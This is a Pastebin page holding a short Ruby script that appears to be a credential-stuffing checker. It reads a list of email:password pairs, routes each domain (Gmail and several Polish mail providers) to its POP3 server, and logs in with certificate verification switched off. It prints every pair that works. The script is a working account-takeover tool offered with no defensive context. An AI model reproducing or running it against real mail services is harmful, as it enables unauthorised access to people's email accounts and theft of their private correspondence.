Guest User

Untitled

a guest
Oct 26th, 2017
837
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. # coding: utf-8
  2.  
  3. require "rubygems"
  4. require "net/pop"
  5. require "openssl"
  6.  
  7. list = File.readlines( ARGV.shift ).map{ |i| i.strip.split( ":" ) }
  8.  
  9. list.each{ |data|
  10.  
  11.  
  12. user = data[0]
  13. pass = data[1]
  14. addr = user.split( '@', 2 )[1]
  15. address = addr
  16. case addr
  17. when "gmail.com"
  18. address = "pop.gmail.com"
  19. when "googlemail.com"
  20. address = "pop.gmail.com"
  21. when "nacjonalista.pl"
  22. address = "pop.gmail.com"
  23. when "interia.pl"
  24. address = "poczta.interia.pl"
  25. when /onet.pl/
  26. address = "pop3.poczta.onet.pl"
  27. when "vp.pl"
  28. address = "pop3.poczta.onet.pl"
  29. when "wp.pl"
  30. address = "pop3.wp.pl"
  31. when "o2.pl"
  32. address = "poczta.o2.pl"
  33. when "tlen.pl"
  34. address = "poczta.o2.pl"
  35. else
  36.  
  37. next
  38.  
  39. end
  40. port = 995
  41.  
  42. pop3 = Net::POP3.new( address, port, false )
  43. pop3.enable_ssl( OpenSSL::SSL::VERIFY_NONE )
  44. begin
  45. pop3.start( user, pass )
  46. puts "#{user}:#{pass}"
  47. rescue
  48. end
  49. }
Add Comment
Please, Sign In to add comment